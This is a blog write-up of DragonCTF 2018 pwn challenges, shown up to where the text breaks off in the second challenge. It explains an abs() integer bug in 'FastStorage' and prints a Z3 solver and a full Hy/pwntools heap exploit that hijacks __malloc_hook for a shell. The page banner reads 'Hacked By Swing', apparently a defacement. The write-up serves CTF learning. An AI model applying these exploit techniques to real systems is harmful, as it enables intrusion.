<!DOCTYPE HTML>
<html lang="zh-CN">

<head><meta name="generator" content="Hexo 3.9.0">
    <!-- hexo-inject:begin --><!-- hexo-inject:end --><!--Setting-->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta http-equiv="Cache-Control" content="no-siteapp">
    <meta http-equiv="Cache-Control" content="no-transform">
    <meta name="renderer" content="webkit|ie-comp|ie-stand">
    <meta name="apple-mobile-web-app-capable" content="AncyBlog">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no,email=no,adress=no">
    <meta name="browsermode" content="application">
    <meta name="screen-orientation" content="portrait">
    <meta name="theme-version" content="1.2.3">
    <meta name="root" content="/">
    <link rel="dns-prefetch" href="http://www.anciety.de">

    <script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js">
    </script>
    <!--SEO-->

<meta name="keywords" content="CTF,writeups,pwn,DragonCTF">


<meta name="description" content="DragonCTF 2018 Pwn Challenges Writeup
Yup, I know this is a late writeup... Just.. take it as a r...">


<meta name="robots" content="all">
<meta name="google" content="all">
<meta name="googlebot" content="all">
<meta name="verify" content="all">
    <!--Title-->

<title>
    
    DragonCTF 2018 Pwn Challenges Writeup |
    
    AncyBlog
</title>

<link rel="alternate" href="/atom.xml" title="AncyBlog" type="application/atom+xml">


<link rel="icon" href="/favicon.png">

    

<link rel="stylesheet" href="/css/bootstrap.min.css?rev=3.3.7">
<link rel="stylesheet" href="/css/font-awesome.min.css?rev=4.7.0">
<link rel="stylesheet" href="/css/style.css?rev=@@hash">
    



<script type="text/javascript" src="https://tajs.qq.com/stats?sId=66471611" charset="UTF-8"></script><!-- hexo-inject:begin --><!-- hexo-inject:end -->


    

</head>
</html>
<!--[if lte IE 8]>
<style>
    html{ font-size: 1em }
</style>
<![endif]-->
<!--[if lte IE 9]>
<div style="ie">你使用的浏览器版本过低，为了你更好的阅读体验，请更新浏览器的版本或者使用其他现代浏览器，比如Chrome、Firefox、Safari等。</div>
<![endif]-->
<body>
    <!-- hexo-inject:begin --><!-- hexo-inject:end --><header class="main-header"  style="background-image:url(
    https://www.anciety.de/img/banner.jpg)"
     >
    <div class="main-header-box">
        <a class="header-avatar" href="/" title='Anciety'>
            <img src="/img/avatar.jpg" alt="logo头像" class="img-responsive center-block">
        </a>
        <div class="branding">
            <!--<h2 class="text-hide">Snippet主题,从未如此简单有趣</h2>-->
            
            <h2>
                Hacked By Swing
            </h2>
            
        </div>
    </div>
</header>
    <nav class="main-navigation">
    <div class="container">
        <div class="row">
            <div class="col-sm-12">
                <div class="navbar-header"><span class="nav-toggle-button collapsed pull-right" data-toggle="collapse" data-target="#main-menu" id="mnav">
                        <span class="sr-only"></span>
                        <i class="fa fa-bars"></i>
                    </span>
                    <a class="navbar-brand" href="http://www.anciety.de">
                        AncyBlog</a>
                </div>
                <div class="collapse navbar-collapse" id="main-menu">
                    <ul class="menu">
                        
                        <li role="presentation" class="text-center">
                            <a href="/"><i class="fa "></i>
                                首页</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/writeups/"><i class="fa "></i>
                                writeups</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/学习/"><i class="fa "></i>
                                学习</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/问题解决/"><i class="fa "></i>
                                问题解决</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/categories/扯淡/"><i class="fa "></i>
                                扯淡</a>
                        </li>
                        
                        <li role="presentation" class="text-center">
                            <a href="/archives/"><i class="fa "></i>
                                时间轴</a>
                        </li>
                        
                    </ul>
                </div>
            </div>
        </div>
    </div>
</nav>
    <section class="content-wrap">
        <div class="container">
            <div class="row">
                <main class="col-md-8 main-content m-post">
                    <p id="process"></p>
<article class="post">
    <div class="post-head">
        <h1 id="DragonCTF 2018 Pwn Challenges Writeup">
            
            DragonCTF 2018 Pwn Challenges Writeup
            
        </h1>
        <div class="post-meta">
    
    <span class="categories-meta fa-wrap">
        <i class="fa fa-folder-open-o"></i>
        <a class="category-link" href="/categories/writeups/">writeups</a>
    </span>
    
    
    <span class="fa-wrap">
        <i class="fa fa-tags"></i>
        <span class="tags-meta">
            
            <a class="tag-link" href="/tags/CTF/">CTF</a> <a class="tag-link" href="/tags/DragonCTF/">DragonCTF</a> <a class="tag-link" href="/tags/pwn/">pwn</a> <a class="tag-link" href="/tags/writeups/">writeups</a>
            
        </span>
    </span>
    
    
    
    <span class="fa-wrap">
        <i class="fa fa-clock-o"></i>
        <span class="date-meta">
            2018/10/05</span>
    </span>
    
    <span class="fa-wrap">
        <i class="fa fa-eye"></i>
        <span id="busuanzi_value_page_pv"></span>
    </span>
    
    
</div>
        
        
    </div>
    
    <div class="post-body post-content">
        <h1 id="dragonctf-2018-pwn-challenges-writeup">DragonCTF 2018 Pwn Challenges Writeup</h1>
<p>Yup, I know this is a late writeup... Just.. take it as a record of myself.</p>
<h2 id="faststorage">FastStorage</h2>
<p>As a record, I'm not going to completely analysis the whole challenge.</p>
<p>This challenge is about a quite strange problem of libc <code>abs</code> function, that when argument of this function is <code>0x80000000</code>, which is a int with no minus counterpart, it will return itself. This is to say <code>abs(0x80000000) == 0x80000000</code>.</p>
<h3 id="logic">Logic</h3>
<p>Logic of this challenge is not so trivial, but not complicated. Three operations valid:</p>
<ol type="1">
<li>add_entry</li>
<li>print_entry</li>
<li>edit_entry</li>
</ol>
<p>Note that there's no <code>delete_entry</code> or something like that, means there will be no <code>free</code> available.</p>
<p>Two global variabls used, one <code>g_slot_bitmap</code> and one <code>g_slot</code>, which are of <code>int</code> array and pointer array respectively. slot maps are int arrays storing bitmap of struct of particular sizes, and slots are obviously the struct to be allocated out. When doing <code>add_entry</code>, this function is used:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">_DWORD *__fastcall do_add_entry(char *name, char *buf)</span><br><span class="line">&#123;</span><br><span class="line">  int hash; // ST1C_4</span><br><span class="line">  char v3; // ST18_1</span><br><span class="line">  char v4; // ST14_1</span><br><span class="line">  int slotnum; // ST1C_4</span><br><span class="line"></span><br><span class="line">  hash = calc_hash((unsigned __int8 *)name);</span><br><span class="line">  v3 = hash2((unsigned __int8 *)name);</span><br><span class="line">  v4 = hash3(name);</span><br><span class="line">  slotnum = abs(hash) % 0x3E;</span><br><span class="line">  assign_slot(slotnum, name, buf);</span><br><span class="line">  return assign_slot_id(slotnum, v3, v4);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>slot_id is the bitmap, I used a wrong name and decided to let it go. When add an entry, slot is assigned to the global pointer array. slots are structure:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">struct SlotItem</span><br><span class="line">&#123;</span><br><span class="line">  SlotItem *prev;</span><br><span class="line">  char *name;</span><br><span class="line">  char *buf;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>Sizes are recorded in the SlotItem pointer itself using left-shifted 48 value, ORing it with the pointer and slot bitmap is operated by this function:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">_DWORD *__fastcall assign_slot_id(int slotnum, char hash2, char hash3)</span><br><span class="line">&#123;</span><br><span class="line">  _DWORD *result; // rax</span><br><span class="line"></span><br><span class="line">  result = g_slot_ident;</span><br><span class="line">  g_slot_ident[slotnum] |= (1 &lt;&lt; hash2) | (1 &lt;&lt; hash3);</span><br><span class="line">  return result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>And as I mentioned, <code>g_slot_ident</code> is the global bitmap.</p>
<p>Once we know the abs is the problem causer, we know that since the function <code>do_add_entry</code> assumes abs should always be more than or equal to 0, it doens't consider anything about <code>0x80000000</code>. So we give it a <code>0x80000000</code>, the slotnum will become <code>-2</code>, which will cause the <code>assign_slot</code> to assign slot to a minus index, thus overlap with bitmap global variable.</p>
<h3 id="strategy">Strategy</h3>
<p>Knowing the problem, we can decide a way to solve this challenge. Challenge is nearly fully protected, <code>NX</code>, <code>PIE</code> and <code>FULL RELRO</code>, making us impossible to operate on binary image itself. Just as any pwnable challenge would do, we should leak something first.</p>
<p>There is a check function when doing edit, to check if the requesting item is truly there, so we can use it, since the problem let us assigned a SlotItem pointer to slot_id array(bitmap array), thus we can check every bit of the SlotItem pointer.</p>
<p>Then we need to find out how to get every bit pointer, we need data which is sufficient to those conditions. Z3 could help us out.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line">&quot;&quot;&quot;solve the name to be used for check and initial abs attack</span><br><span class="line">&quot;&quot;&quot;</span><br><span class="line">from z3 import *</span><br><span class="line">from base64 import b64encode</span><br><span class="line">import json</span><br><span class="line"></span><br><span class="line">def hash1(name):</span><br><span class="line">    num = 0x1337</span><br><span class="line">    for n in name:</span><br><span class="line">        num = num * n + 1</span><br><span class="line">    return num</span><br><span class="line"></span><br><span class="line">def hash2(name):</span><br><span class="line">    num = 0</span><br><span class="line">    for i in range(0, len(name), 2):</span><br><span class="line">        num ^= ((name[i + 1] &lt;&lt; 8) + name[i])</span><br><span class="line">    #if len(name) &amp; 1:</span><br><span class="line">    #    num ^= name[-1]</span><br><span class="line">    return ((num &gt;&gt; 10) ^ ((num ^ (num &gt;&gt; 5)) &amp; 0xff)) &amp; 0x1f</span><br><span class="line"></span><br><span class="line">def hash3(name):</span><br><span class="line">    num = 0</span><br><span class="line">    for n in name:</span><br><span class="line">        for i in range(8):</span><br><span class="line">            num = num + ((n &gt;&gt; i) &amp; 1)</span><br><span class="line">    return num &amp; 0x1f</span><br><span class="line"></span><br><span class="line">def init(name):</span><br><span class="line">    s = Solver()</span><br><span class="line">    for n in name:</span><br><span class="line">        s.add(n &lt;= 0xff)</span><br><span class="line">        s.add(n &gt; 0)</span><br><span class="line">    return s</span><br><span class="line"></span><br><span class="line">def find_solve(name, s):</span><br><span class="line">    if str(s.check()) != &apos;unsat&apos;:</span><br><span class="line">        ans = []</span><br><span class="line">        mod = s.model()</span><br><span class="line">        for n in name:</span><br><span class="line">            ans.append(mod[n])</span><br><span class="line">        return ans</span><br><span class="line">    else:</span><br><span class="line">        return None</span><br><span class="line"></span><br><span class="line">def get_string(res):</span><br><span class="line">    if res is None:</span><br><span class="line">        raise Exception(&apos;not satisfiable&apos;)</span><br><span class="line">    return b64encode(bytes(map(lambda x: int(str(x)), res))).decode(&apos;UTF-8&apos;)</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line">    name = [BitVec(&apos;x&apos; + str(i), 32) for i in range(8)]</span><br><span class="line">    result = &#123;&#125;</span><br><span class="line"></span><br><span class="line">    s = init(name)</span><br><span class="line">    </span><br><span class="line">    # Find out initial abs attack sufficient name</span><br><span class="line">    s.add(hash1(name) == 0x80000000)</span><br><span class="line">    res = find_solve(name, s)</span><br><span class="line">    #print(repr(res))</span><br><span class="line">    result[&apos;initial&apos;] = get_string(res)</span><br><span class="line"></span><br><span class="line">    result[&apos;check&apos;] = []</span><br><span class="line">    for i in range(61):</span><br><span class="line">        print(&apos;number %d&apos; % i)</span><br><span class="line">        s = init(name)</span><br><span class="line"></span><br><span class="line">        hash_res = hash1(name)</span><br><span class="line">        hash2_res = hash2(name)</span><br><span class="line">        hash3_res = hash3(name)</span><br><span class="line"></span><br><span class="line">        s.add(hash_res &lt;= 0x7effffff)</span><br><span class="line">        s.add(hash_res &gt; 0)</span><br><span class="line">        if i &lt; 32:</span><br><span class="line">            s.add((hash_res + 2) % 62 == 0)</span><br><span class="line">        else:</span><br><span class="line">            s.add(hash_res % 62 == 61)</span><br><span class="line">            i -= 32</span><br><span class="line">        s.add(hash2_res == i)</span><br><span class="line">        s.add(hash3_res == i)</span><br><span class="line">        res = find_solve(name, s)</span><br><span class="line">        result[&apos;check&apos;].append(get_string(res))</span><br><span class="line">    with open(&apos;z3_json.json&apos;, &apos;w&apos;) as f:</span><br><span class="line">        f.write(json.dumps(result))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == &apos;__main__&apos;:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>
<p>With this script, I found out "initial name" which could give us the <code>0x80000000</code> value, and all checking value to be used to check every bit of a SlotItem. Thus, we get a heap leak.</p>
<p>After a heap leak, we still need libc leak to give us more power. I just mentioned that there's no <code>free</code> anywhere in this binary, so we have to figure out a way to free some small chunk to get us a libc pointer. This actually is not so difficult for pwnable players, we usually use malloc that a top chunk cannot handle to free a top chunk, this can be done by modifing size of the top chunk.</p>
<p>But do note that I got into trouble when doing this with this assertion in libc..</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">/*</span><br><span class="line">   If not the first time through, we require old_size to be</span><br><span class="line">   at least MINSIZE and to have prev_inuse set.</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">assert ((old_top == initial_top (av) &amp;&amp; old_size == 0) ||</span><br><span class="line">        ((unsigned long) (old_size) &gt;= MINSIZE &amp;&amp;</span><br><span class="line">         prev_inuse (old_top) &amp;&amp;</span><br><span class="line">         ((unsigned long) old_end &amp; (pagesize - 1)) == 0));</span><br></pre></td></tr></table></figure>
<p>I got several segmentation faults, and when do detailed debugging, I found out the reason I got aborted all the time is that I have to make the size modified to pass the page edge check. The topchunk size with addition to its current position should be at the end of a page. Once passed, I got a libc leak.</p>
<p>With those leaks, and ability to modify any bit of a heap pointer, things are getting easy. Just do set some bits, make it point to somewhere we control, put a fake struct there, and we get arbitrary write.</p>
<p>The rest are just trivial things to do, so I'll skip it.</p>
<p>Oh, forgot to mention, I'm really falling in love with lisp lately, and thus I used hy to write my exploit. :) You can also try <a href="https://github.com/hylang/hy" target="_blank" rel="noopener">hylang</a>, with the power of lisp along with Python, nothing could stop us!</p>
<h3 id="exploit">Exploit</h3>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br></pre></td><td class="code"><pre><span class="line">(import [pwn [*]])</span><br><span class="line">(import [base64 [b64decode]])</span><br><span class="line">(import json)</span><br><span class="line">(context :os &quot;linux&quot; :arch &quot;amd64&quot; :log_level &quot;debug&quot;)</span><br><span class="line"></span><br><span class="line">(setv DEBUG 1)</span><br><span class="line">(if DEBUG</span><br><span class="line">    (setv p (process &quot;./faststorage&quot;))</span><br><span class="line">    (setv p (remote)))</span><br><span class="line"></span><br><span class="line">(setv libc (ELF &quot;./libc.so.6&quot;))</span><br><span class="line"></span><br><span class="line">(defmacro until [s]</span><br><span class="line">  `(.recvuntil p (bytes ~s)))</span><br><span class="line"></span><br><span class="line">(defmacro snd [s]</span><br><span class="line">  `(.send p ~s))</span><br><span class="line"></span><br><span class="line">(defmacro sndl [s]</span><br><span class="line">  `(.sendline p ~s))</span><br><span class="line"></span><br><span class="line">(defmacro rcvl []</span><br><span class="line">  `(.recvline p))</span><br><span class="line"></span><br><span class="line">(defmacro info [fmt &amp;rest rest]</span><br><span class="line">  ;; python2 fuckyou!</span><br><span class="line">  (if (= rest (,))</span><br><span class="line">    `(.info p ~fmt)</span><br><span class="line">    `(.info p (% ~fmt ~@rest))))</span><br><span class="line"></span><br><span class="line">(defn add_entry [name size value]</span><br><span class="line">  (until &quot;&gt;&quot;)</span><br><span class="line">  (sndl &quot;1&quot;)</span><br><span class="line">  (until &quot;Name:&quot;)</span><br><span class="line">  (snd name)</span><br><span class="line">  (until &quot;Size:&quot;)</span><br><span class="line">  (sndl (str size))</span><br><span class="line">  (until &quot;Value:&quot;)</span><br><span class="line">  (snd value))</span><br><span class="line"></span><br><span class="line">(defn print_entry [name]</span><br><span class="line">  (until &quot;&gt;&quot;)</span><br><span class="line">  (sndl &quot;2&quot;)</span><br><span class="line">  (until &quot;Name:&quot;)</span><br><span class="line">  (snd name)</span><br><span class="line">  (setv content (rcvl))</span><br><span class="line">  (if (in b&quot;No such entry&quot; content)</span><br><span class="line">      (return None)</span><br><span class="line">      (.unrecv p content))</span><br><span class="line">  (until b&quot;Value: &quot;)</span><br><span class="line">  (setv end_delim b&quot;0. Exit&quot;)</span><br><span class="line">  (return (cut (until end_delim) 0 (- (len end_delim)))))</span><br><span class="line"></span><br><span class="line">(defn edit_entry [name value]</span><br><span class="line">  (until &quot;&gt;&quot;)</span><br><span class="line">  (sndl &quot;3&quot;)</span><br><span class="line">  (until &quot;Name:&quot;)</span><br><span class="line">  (snd name)</span><br><span class="line">  (until &quot;Value: &quot;)</span><br><span class="line">  (snd value))</span><br><span class="line"></span><br><span class="line">(defmain [&amp;rest args]</span><br><span class="line">  (pause)</span><br><span class="line"></span><br><span class="line">  ;; for alignment later</span><br><span class="line">  (for [i (range 2)]</span><br><span class="line">    (add_entry &quot;align&quot; 0x400 &quot;alignment only&quot;))</span><br><span class="line">  (add_entry &quot;align&quot; 0x200 &quot;alignment only&quot;)</span><br><span class="line"></span><br><span class="line">  ;; read out cached z3 results</span><br><span class="line">  (with [f (open &quot;./z3_json.json&quot; &quot;r&quot;)]</span><br><span class="line">    (setv content (.read f)))</span><br><span class="line"></span><br><span class="line">  (setv json_res (.loads json content))</span><br><span class="line">  (setv check (get json_res &quot;check&quot;))</span><br><span class="line"></span><br><span class="line">  (for [i (range 60)]</span><br><span class="line">    (assoc check i (-&gt; (get check i) (b64decode))))</span><br><span class="line"></span><br><span class="line">  ;; prepare for brute force heap address</span><br><span class="line">  (for [i (range 12 60)]</span><br><span class="line">    (setv name (get check i))</span><br><span class="line">    (add_entry name 0x10 (% &quot;check%d&quot; i)))</span><br><span class="line"></span><br><span class="line">  (setv init_name (-&gt; (get json_res &quot;initial&quot;) (b64decode)))</span><br><span class="line">  (add_entry init_name 0x10 &quot;dtj0x10&quot;)</span><br><span class="line"></span><br><span class="line">  ;; do brute force</span><br><span class="line">  (setv heap_addr 0)</span><br><span class="line">  (for [i (range 12 60)]</span><br><span class="line">    (setv name (get check i))</span><br><span class="line">    (unless (is (print_entry name) None)</span><br><span class="line">            (setv heap_addr (| heap_addr (&lt;&lt; 1 i)))))</span><br><span class="line"></span><br><span class="line">  (info &quot;heap addr leak 0x%x&quot; heap_addr)</span><br><span class="line">  (setv heap_base (- heap_addr 0x1000))</span><br><span class="line">  (setv cur_heap_addr (+ heap_addr 0xd40))</span><br><span class="line">  (info &quot;current heap 0x%x&quot; cur_heap_addr)</span><br><span class="line"></span><br><span class="line">  ;; add a fake entry</span><br><span class="line">  (setv fakeprev 0)</span><br><span class="line">  (setv fakename (.ljust init_name 8 b&quot;\x00&quot;))</span><br><span class="line">  ;(setv fakenameptr (+ cur_heap_addr 0x38))</span><br><span class="line">  (setv fakenameptr (- cur_heap_addr 0x20))</span><br><span class="line">  (setv fakesize 0x200)</span><br><span class="line">  (setv fakebuf (| (&lt;&lt; fakesize 48) (+ cur_heap_addr 0x70 0x10 0x68)))</span><br><span class="line">  (setv fakeentry (+ cur_heap_addr 0x20))</span><br><span class="line"></span><br><span class="line">  (add_entry </span><br><span class="line">    &quot;fake&quot; </span><br><span class="line">    0x20 (+ (p64 fakeprev) (p64 fakenameptr) (p64 fakebuf) fakename))</span><br><span class="line"></span><br><span class="line">  (pause)</span><br><span class="line"></span><br><span class="line">  (setv differ (^ fakeentry cur_heap_addr))</span><br><span class="line">  (info &quot;fake entry @ 0x%x&quot; fakeentry)</span><br><span class="line">  (info differ)</span><br><span class="line"></span><br><span class="line">  (for [i (range 60)]</span><br><span class="line">    (if (&gt; (&amp; (&lt;&lt; 1 i) differ) 0)</span><br><span class="line">        ;; set ith</span><br><span class="line">        (do</span><br><span class="line">        (info &quot;set %d&quot; i)</span><br><span class="line">        (add_entry (get check i) 0x10 &quot;value&quot;))))</span><br><span class="line">  </span><br><span class="line">  ;; Now this will overflow to top chunks size</span><br><span class="line">  ;; We shrink it, to make it possible to be freed when allocating</span><br><span class="line">  ;; a chunk more than it can handle</span><br><span class="line">  (edit_entry init_name (p64 0x1e1))</span><br><span class="line"></span><br><span class="line">  ;; This will free the top chunk</span><br><span class="line">  (add_entry &quot;more!&quot; 0x200 &quot;cannot handle this&quot;)</span><br><span class="line"></span><br><span class="line">  ;; Now we can leak libc</span><br><span class="line">  (setv libc_base</span><br><span class="line">    (-&gt; </span><br><span class="line">    (print_entry init_name) </span><br><span class="line">    (cut 0x10 0x18)</span><br><span class="line">    (u64)</span><br><span class="line">    ((fn [leak] (- leak 0x3c4d28)))))</span><br><span class="line"></span><br><span class="line">  (info &quot;libc base 0x%x&quot; libc_base)</span><br><span class="line"></span><br><span class="line">  ;; change fake entry, to make vulnerable entry to malloc_hook</span><br><span class="line">  (setv malloc_hook </span><br><span class="line">    (| (&lt;&lt; 0x200 48) (+ libc_base (get libc.symbols b&quot;__malloc_hook&quot;))))</span><br><span class="line">  (setv one_gadget (+ libc_base 0x4526a))</span><br><span class="line"></span><br><span class="line">  (edit_entry &quot;fake&quot; (+ (p64 fakeprev) (p64 fakenameptr) (p64 malloc_hook)))</span><br><span class="line">  (pause)</span><br><span class="line">  (edit_entry init_name (p64 one_gadget))</span><br><span class="line"></span><br><span class="line">  (until &quot;&gt;&quot;)</span><br><span class="line">  (sndl &quot;1&quot;)</span><br><span class="line">  (sndl &quot;system!&quot;)</span><br><span class="line">  (until &quot;Size: &quot;)</span><br><span class="line">  (sndl &quot;10&quot;)</span><br><span class="line">  </span><br><span class="line">  (.interactive p))</span><br></pre></td></tr></table></figure>
<h2 id="production">Production</h2>
<p>This is a good challenge, but due to my stupidness, I failed to solve this during the game..</p>
<h3 id="intro">Intro</h3>
<p>A source file is given (It's a little bit long, but for record, I put it here still):</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span 